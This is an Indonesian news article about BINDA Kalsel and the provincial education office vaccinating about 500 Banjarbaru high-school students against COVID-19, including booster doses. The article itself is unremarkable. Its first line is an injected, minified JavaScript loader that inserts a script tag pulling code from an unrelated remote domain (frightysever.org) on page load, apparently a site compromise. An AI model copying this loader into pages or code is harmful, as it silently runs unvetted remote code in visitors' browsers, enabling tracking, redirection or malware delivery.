(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BINDA Kalsel Sasar Pelajar Percepatan Vaksinasi Dosis Ketiga

KANALKALIMANTAN.COM, BANJARBARU – Badan Intelijen Negara Daerah (BINDA) Kalimantan Selatan melakukan upaya percepatan vaksinasi bagi anak berkolaborasi dengan Dinas Pendidikan dan Kebudayaan Kalsel, pada Kamis (8/9/2022).

Sebanyak 500 siswa SMA sederajat dari sejumlah sekolah dikumpulkan di SMAN 2 Banjarbaru guna menerima vaksinasi Covid-19, baik dosis 1, 2, termasuk booster.

Inspektorat BIN Pusat, Iwan Setiawan menyatakan vaksinasi ini merupakan arahan Presiden Joko Widodo dan Kepala BIN untuk mendukung pembelajaran siswa di Kalsel.

“Pemerintah melalui mendagri sudah menerbitkan surat edaran untuk seluruh gubernur dan bupati untuk laksanakan percepatan vaksinasi,” terangnya.

Untuk itu demi membentuk dan memantapkan kekebalan komunal di kalangan pelajar, vaksinasi ini pun dilakukan bahkan pada dosis booster.

Pasalnya meski vaksinasi primer disebut telah mencapai 90 persen, untuk cakupan booster pelajar masih 22 persen.

Dengan mencegah penularan covid-19 di kalangan pelajar, diharapkan pula proses pembelajaran tatap muka yang sedang berlangsung dapat terus berlanjut.

“Vaksinasi ini sangat penting bagi mereka genarasi muda yang akan melanjutkan dalam pembangunan,” ujarnya.

Iwan mengatakan apa yang dilakukan mereka ini bisa dicontoh pihak swasta untuk ikut andil membantu percepatan vaksinasi.

“Selain BINDA dan Pemda, pihak swasta pun bisa membantu misalkan membantu pemberian sembako dalam memotivasi warga dalam mengikuti vaksinasi,” katanya.

Kali ini BINDA Kalsel mendapatkan kiriman vaksinasi dari pusat sebanyak 1.250 vial vaksin Pfizer.

Di tempat yang sama, Kepala Disdikbud Kalsel, Muhammadun mengatakan pihaknya sangat mendorong vaksinasi yang dilakukan Binda Kalsel untuk pelajar terkhusus untuk dosis ketiga.

“Bukan wajib lagi, tapi harus ini bagian ikhtiar kita untuk terhindar dari Covid-19, kita akan dorong terus vaksinasi untuk pelajar ini,” katanya.

Diakui Madun, pihaknya sudah memberikan surat edaran ke sekolah untuk melakukan pendataan terkait vaksinasi ini.

“Kita ada catatannya di sekolah, kita juga sudah memberikan surat edaran, kalau bisa diwajibkan kalau belum dirayu-rayu supaya mau di vaksin,” tuturnya.

Sementara itu, Ketua Musyawarah Kerja Kepala Sekolah (MKKS) SMA/MA se Kota Banjarbaru, Finna Ramiati mengatakan kegiatan ini menyasar seluruh pelajar di Kota Banjarbaru.

Baca juga : Lagi, Rumah di Banjarmasin Retak dan Miring

“Ini merupakan tindak lanjut surat edaran dari Kemendikbudrestik dan Disdikbud Kalsel untuk vaksinasi dosis lengkap dalam persiapan pembelajaran tatap muka,” ungkapnya.

Vaksinasi booster bagi pelajar di Banjarbaru masih banyak terkendala usia.

“Ternyata di pelajar SMA/MA/SMK di Banjarbaru yang kelas 12 masih banyak belum berumur 18 tahun, tapi kita juga mengejar vaksin dosis 1 dan 2, pun dengan booster GTK se Banjarbaru,” bebernya.

Di Kalsel sendiri, vaksinasi pelajar untuk dosis 1 dan 2 sudah mencapai 90 persen lebih, sementara vaksinasi booster masih terbilang rendah karena terkendala usia.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell